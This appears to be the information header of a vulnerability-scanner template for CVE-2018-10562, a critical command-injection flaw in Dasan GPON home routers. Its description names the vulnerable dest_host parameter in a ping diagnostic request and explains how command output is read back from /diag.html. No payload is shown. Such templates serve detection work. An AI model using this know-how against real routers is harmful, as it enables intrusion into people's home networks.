id: CVE-2018-10562

info:
  name: Dasan GPON Devices - Remote Code Execution
  author: gy741
  severity: critical
  description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
